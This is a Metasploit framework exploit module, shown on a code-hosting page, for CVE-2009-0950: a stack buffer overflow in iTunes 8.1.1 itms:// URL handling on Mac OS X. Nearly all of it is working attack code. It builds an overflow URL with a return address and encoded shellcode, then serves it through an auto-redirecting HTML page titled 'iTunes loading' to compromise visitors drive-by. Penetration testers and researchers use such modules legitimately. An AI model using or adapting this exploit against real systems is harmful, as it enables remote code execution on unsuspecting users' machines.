Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/itms_overflow.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpServer::HTML910# no popup required to visit itms:// URLs in Safari, so throw it in BAP11#include Msf::Exploit::Remote::BrowserAutopwn12#autopwn_info({13# :ua_name => HttpClients::SAFARI,14# :ua_maxver => "4.1",15# :ua_minver => "4.0.5",16# :javascript => false,17# :rank => NormalRanking,18# :os_name => OperatingSystems::MAC_OSX19#})2021def initialize(info = {})22super(update_info(info,23'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',24'Description' => %q{25This modules exploits a stack-based buffer overflow in iTunes26itms:// URL parsing. It is accessible from the browser and27in Safari, itms urls will be opened in iTunes automatically.28Because iTunes is multithreaded, only vfork-based payloads should29be used.30},31'Author' => [ 'Will Drewry <redpig[at]dataspill.org>' ],32'License' => MSF_LICENSE,33'References' =>34[35[ 'CVE', '2009-0950' ],36[ 'OSVDB', '54833' ],37[ 'URL', 'http://support.apple.com/kb/HT3592' ],38[ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]39],40'Payload' =>41{42'Space' => 1024, # rough estimate of what browsers will pass.43'DisableNops' => true, # don't pad out the space.44'BadChars' => '',45# The encoder must be URL-safe otherwise it will be automatically46# URL encoded.47'EncoderType' => Msf::Encoder::Type::AlphanumMixed,48'EncoderOptions' =>49{50'BufferRegister' => 'ECX', # See the comments below51'BufferOffset' => 3, # See the comments below52},53},54'Platform' => %w{ osx },55'Targets' =>56[57[58'OS X',59{60'Platform' => [ 'osx' ],61'Arch' => ARCH_X86,62'Addr' => 'ATe'63},64]65],66'DisclosureDate' => '2009-06-01',67'DefaultTarget' => 0))68end6970# Generate distribution script, which calls our payload using JavaScript.71def generate_itms_page(p)72# Set the base itms url.73# itms:// or itmss:// can be used. The trailing colon is used74# to start the attack. All data after the colon is copied to the75# stack buffer.76itms_base_url = "itms://:"77itms_base_url << rand_text_alpha(268) # Fill up the real buffer78itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp79itms_base_url << target['Addr'] # hullo there, jmp *%ecx!80# The first '/' in the buffer will terminate the copy to the stack buffer.81# In addition, $ecx will be left pointing to the last 6 bytes of the heap82# buffer containing the full URL. However, if a colon and a ? occur after83# the value in ecx will point to that point in the heap buffer. In our84# case, it will point to the beginning. The ! is there to make the85# alphanumeric shellcode execute easily. (This is why we need an offset86# of 3 in the payload).87itms_base_url << "/:!?" # Truncate the stack buffer overflow and prep for payload88itms_base_url << p # Wooooooo! Payload time.89# We drop on a few extra bytes as the last few bytes can sometimes be90# corrupted.91itms_base_url << rand_text_alpha(4)9293# Use the pattern creator to simplify exploit creation :)94# itms_base_url << Rex::Text.pattern_create(1024,95# Rex::Text::DefaultPatternSets)9697# Return back an example URL. Using an iframe doesn't work with all98# browsers, but that's easy enough to fix if you need to.99return String(<<-EOS)100<html>101<head>102<title>iTunes loading . . .</title>103<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">104</head>105<body>106<p>iTunes should open automatically, but if it doesn't, click to107<a href="#{itms_base_url}">continue</a>.</p>108</body>109</html>110EOS111end112113def on_request_uri(cli, request)114print_status("Generating payload...")115return unless (p = regenerate_payload(cli))116#print_status("=> #{payload.encoded}")117print_status("=> #{payload.encoded.length} bytes")118119print_status("Generating HTML container...")120page = generate_itms_page(payload.encoded)121#print_status("=> #{page}")122print_status("Sending itms page")123124header = { 'Content-Type' => 'text/html' }125send_response_html(cli, page, header)126handler(cli)127end128end129130131